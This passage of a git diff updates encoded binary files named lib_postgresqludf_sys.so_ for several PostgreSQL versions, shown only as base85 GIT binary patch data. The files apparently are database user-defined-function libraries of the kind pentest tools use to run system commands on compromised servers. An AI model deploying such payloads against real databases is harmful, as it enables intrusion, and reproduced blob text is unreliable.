z@eEdr6fnewp7~fcX9Wan*JR|5AkmRW$ej{#c6Fitg*kQ1=}A`I6)cME_axCB6#Vn=_aT4j%YtD6 zY{@$2WZ@Ro7hweBJxcAC<-|Hhg9v@-hU9LQMb^hMX}hk+%C>-@hGB_qM@oF5lK0@o zCdz(1=Djsi%K#byUpPbuSu}P1FaO;&36@fW52`yOmtyJQZ4YVLdC$TUe~AwANuy(d XXN8?j!DYNfg4gfFrs|qOh7aof&HDr_ diff --git a/data/udf/postgresql/linux/64/8.3/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/64/8.3/lib_postgresqludf_sys.so_ index 2c22afae9a2121d0f7db2f8eb360433bc7f75f9d..044e0976c44258c964066efd558e1e69638baa98 100644 GIT binary patch literal 2562 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 Z_|mzDKk-Y!zgwKX1d46Wk*TeFz!z%n>gdM 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 Z_xH!Od$lj-xq7be9=MX17Dk7#s_bqR3{3z4 diff --git a/data/udf/postgresql/linux/64/9.0/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/64/9.0/lib_postgresqludf_sys.so_ index 8dae29c83364fa4a2cf2ae71e841360a4391d6cc..4c95701448031b1d9c8021362395606ed355196b 100644 GIT binary patch literal 2633 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 literal 2633 zcmV-P3byq%u<20W7`_PM0gsDR+@a@72!S#oJrcm&9Dh=#~YJ!(c$+u(~;kVj8k z@|w*MbydGevtcisnti{|fM3llssk|p7_${yT*1fQ0A9y%-0!G+jo(F*A7LYxgnm7$ zy#T|1%aoP(6^x#~hyL|G*vhrsA-5{{fQ?XDWdrpI(qho6WK_rlfT1#F@Bkzp#R zp4M+KUMwzMIl)Ipgn~I7$TZZP%lPg1kTx6VbSQ62<7V22KPif--N{pa@&Cg)}0e?h`uxz5D6FTed_0 zU|(^%YmUrWLEVD;66*ydh~Mo~g?uYvT0OYYAw`X-*G*1Qm@R_(tIOW$XUT?-530#D z4^*{tu%fNLKJb5!Gaz+Mr~r;jP_4RcRJ@GJsH{oae;sTRjp*)-1 zBo}Jjd3}y|x3juIPtPe;WUx6&9wLAAYb__^G6?EMVF-)>pFA zzxz4p;2b-UwlxaB8^bS}g5M1Nlk?rp+V$#xW*wmp7CJY=!|ZC##Dw6`v*hr+{d*Ca zMl9aQx<=?liVExL|6WQm zjxm`V=kPkYI{C$(>zSVaXuHvB`ALw*F4NqmA?~8wRwO{;06?lbh$`qE`qNxbFf>VYSVBs10Dn|4oh9b3Mjrx%SVuHa`)#X)d zlQGOe;K5Q|OSyC>J!);IPv8UKxDlB_i`G85A~+LX+~(WTILh{_k#1DXPD4*!HWqo5 zpW19nKV>JcX8ZGTB2n_%9t*YsWUa#CXk^*xOrl}W3&1@J{T*FfwM?IBv^pg6%X&_V zW((0kFoUdUW09MQV_$o7Ah}e=0*L;t%v_DWv^RZcT%mXEAvBvMmK|S4biK*6GZ2QJ zMjU!~0sJwF+GGePm};IUm&ibB7I8z~CWPW(e2wmf^cnhS3#vF7%F@6Cr9%?6_~mdb zOF$^im!n(Y)`(U;{a0%t3_(b0JKXa@SM=^%rK7>sjMIoF`~K1II%|Zs$x6n}2uAhA zEc6YVllbxA$m9S5%OO85lIwD2oFqEMY(DQ|!zi$?MP_3&6p||yH7jzdS`7NpdzV@= z!utLRYNlHw<0}$I!)FI_Wu*(01l}j%15>mxEQ87rl0ufFpD#FJf95xOb&( zqRml|4k9b`c&y|y*N7ZB$=<@YJN815zeX#eoj~n-y!zA)nR@^0tQ4tWQ7FvO2@^$3 z5>sOxCyE`qTOdv1(2Tfr5-@s1n1TzL4cGAB*-M?|n6lnKoc;V%cBD|i_9D|wFG>8IMrDiQ1sw{aod zEN!A4wElC$b9O%e@x@Kq;I$RMkcOc}v8Ix^jl4a9) zOQC`Q>?u|Y%)Q?>5s}7DpdYi43*Ww|A6c9V%h}D1(0i>Y41dOs?0?eSPua*Q;q%oC zZ7`jNo2_+}tmc{tJAj>|`?8xWsG|+5x>5ESzOb9tvq}vD34issnP)~X1Rq48Zx77=WQxx) zISpBV`W*)y=LbQ37|k%BsyQL$f9Vj{ANx=nG>>jrQ03^gWfh z4di3F&2sF+WFfpOB#Kv^-6vm6sR*PZ0p%pe%fCRSaGyyfMHjyqmwv?cCXNz<*GoKN z?iJz<6y_>7qD7tr+0-g#!S&B$fCM;1&v3~cBTFG@u!h?cr;s0hd&v-0orKjE#*D5f z`fJ)w8p`M9ux~(YNaPRF0Ag*h3}gF`>+N5yISHmN$xR&U#nAPU1&v?nNW^39><&$Q zRk;qp+anq}?jUItRTM?zKw8$v{c+iCZtR~FcfDH^L#vL*J%?IC;*ioxycI%KkYZRn zY}b($MD}f^qP7K%WLh$V^r|kT}0}V)&#?Z5*#x zuND(qzleYk+K2!BH+_EV zg1U>dmWGW2*h#|0F#Dvl9}%^%mW{2o^Os5sv6!f3nP>T!`YAG$9S&OpV)9_!p({}K rnMbK1Fh6!{j;_9s2PV97`k6G8cH5c!7b24g4_J8aNr10ymlx=u*C904 diff --git a/data/udf/postgresql/linux/64/9.1/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/64/9.1/lib_postgresqludf_sys.so_ index e5d05fc6f16cfa594bfe35afac3a5116b88d7d7b..dd637decae29b141aef8af63d44e523b4a17e84e 100644 GIT binary patch literal 2693 zcmV;03VQVq?v8FaJQ|^N?Lo#1r0FMRLM%0w)mv@_BNxij1BS6v4|2cJ5(^(dCo7!_ zv{;44Z#y2%Tnb=f{TFNz5-U%krFa8qo|uvMrqO+>L%^S+iV ztU*jWnfcJr;`)okIkTvSsMT5$){F8JA15mw)l@)$oagR{IYrWGBk_H^sPoMBW`x+A z*oaH1kOiDiD2aaIgs%>Gz9po?pZtM3@eL(EO1)a=ALl*vmo5?{>wmY~Q*`fuV{?ZC z3X9}WGyG7!DQ|O$ZMS4uoHpDP(}03yv*|hDY^l3VwjIp-!+a{lON=WvVDak1fD&7eU-Rl$}R8Qkt_EWg?wnf8m{&hL|iz{?yMz zYS6{~Uj+wxhX$^hSDGUfg49%j!&fyP20P?o zVD0mvPB94ugtBS8B=XXOc%jSGYRNq&xR(3C4ImkNS!7#OQJkH1R`&AA>nn%4C?x9e zs{+vY9N9TUEqMv`kp9j8gDvn9VfQWOtcXx!|3H_GVc=QIqB`}EQM*MXnpybxL-~2| z9-Qg${MEy#Uk_G`WKfd2P`U{}0!BoqgL*}6+s);oIAew0!On$>o)ppuI=iYee5^6@ z$e$NE@0+ddY?{elwr>B75sEw{(^P@YshLg zSl#z5A%^~-K02bgNNZFv3Wg=z&+xEIJm=sPQXuv6NCQs%E(NKIv1+3%gkb>}?Z4g| z9e^eJ^NJais)`Kzy$D;u3&O1NiWOMa&+ozcyz-JUPJZ5)x&Mr}sGHPE;eV|$_3T@= zspR`tElhF6ciorb3a@Cwa{~#~pK@j@>A|@VZ`mq)@BX`w3w*{2Xx+OHo*jW|n&H>P z-|b_WxK-uAukO%c{p3Jy3sf<+9XKvjr>+}oh=2fL09; z~ugT;+#iPugrxsdB0&JKr^-Vpo@IHB?e*!Sr%?uSPZZb*KJdj0W+OD_r2 zv${?nPVfzPSo7Kbq@_i9uTm_M=mo(8&@lglE@kBEnz zp+QZ9mDl|l{4D#lzdFjHqbMjie5EUu3e8WOo4B8Stv;Q%>BbfLZScpUX?NvIX21H+eVBLwimNaU3| zNxm)$6CwVC?H8O7Y?o#WZUT@MxC;F4a`8?}i^RTZ5vvzU zmG(64dnEAV9z|9==VJqa3t1KG*1dC@?s{ie=5)t@lriEXG`;7{S9f+X`0RGcd0A9- zWfzG4LCrAFNx$JQ*r;KV|p-^ zj2iD{GiP>whV)XD6zesQIPMdFm6_{YdEK7Tn{wkD{&<>DJ1KqN4~-U{+@qMkrU2fs zdqf5}Lkn9B|7@e;vmEoK&^rWqMj?*fn=1t9fLty;MYQ8*M}}0{7{hbW-Mjtmv+R_r zhT3M4%RsbC^o%iA==)Zo(J|?4zseP0rrJlThG__v30ZIvQtGvwfgX!h&|QvI{u=HO zICmQ0NjQGMt@q?1|47Ie2VG-s&S_Wr)k4N?G2@NOK(on@Aj&Vp?(o5!5>l$tv}%+b zbHedT#>tj_}D@hzQCRrJiv!ysH-(ax&{jg~p$! zMhXxv4c9mx395wBrlTPJ#Q)P%XPW&m&&(47+b0OSk`S-)iIkh_GgK>~?j 